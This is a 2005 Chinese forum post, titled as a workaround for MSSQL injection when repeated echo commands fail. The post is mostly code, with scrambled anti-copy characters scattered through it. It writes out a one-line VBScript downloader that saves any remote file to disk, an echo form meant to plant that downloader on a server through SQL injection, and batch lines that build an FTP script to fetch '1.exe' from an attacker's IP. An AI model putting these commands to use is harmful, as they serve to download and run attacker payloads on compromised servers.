QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2902|回复: 0
打印 上一主题 下一主题

mssql注射时不可以多次echo的解决办法

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2005-1-23 13:30 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<>解决办法:
7 h* v! c3 w; _! j9 Q# v, t1.iget.vbs一次写入
* Y  t( x6 D7 ]9 q9 C% F/ F在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 ! K: S  @& ]9 A9 T
8 t. O1 j4 \9 @! X8 F
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 & y# z- a  y6 C- o& ~# O  H

+ O3 L6 E% Y6 ~1 L" `这样我们可以一次echo成功,echo版本: 3 |2 b8 V5 i! o, }; \# ~: j
. K& w2 Q/ I1 A+ ~% m9 W( L
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
8 ?+ s7 Y& _7 @: ?0 d) J  J7 z& h: A, p" M9 [, r+ O3 P7 e

- \. \7 k( G9 C# K2.bat调用ftp脚本的写法(by envymask)
& t; g9 F! o7 ?" e3 d, u/ y4 f8 x) k+ z# k: Q
echo ftp&gt;1.vbs
: Q/ Z; @1 q( [0 eecho open ip&gt;2.vbs
; C+ X1 h. ~( @7 hecho u&gt;3.vbs
: v$ D+ h1 M& d/ x% necho s&gt;4.vbs
6 v" N- u- b% q2 G: q3 g/ @* becho binary&gt;5.vbs $ i3 T1 K/ a5 p; @
echo get 1.exe&gt;6.vbs , ~8 c# D: O  U, J
echo bay&gt;7.vbs / k' o3 H$ O& e! ?2 J0 r$ v3 b$ I

1 A; o7 Q" L( R! ?! p  [) ccopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs 7 ]) a8 Z' N- r3 K7 U  l/ v3 ?
</P>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-10-8 09:31 , Processed in 1.190028 second(s), 52 queries .

回顶部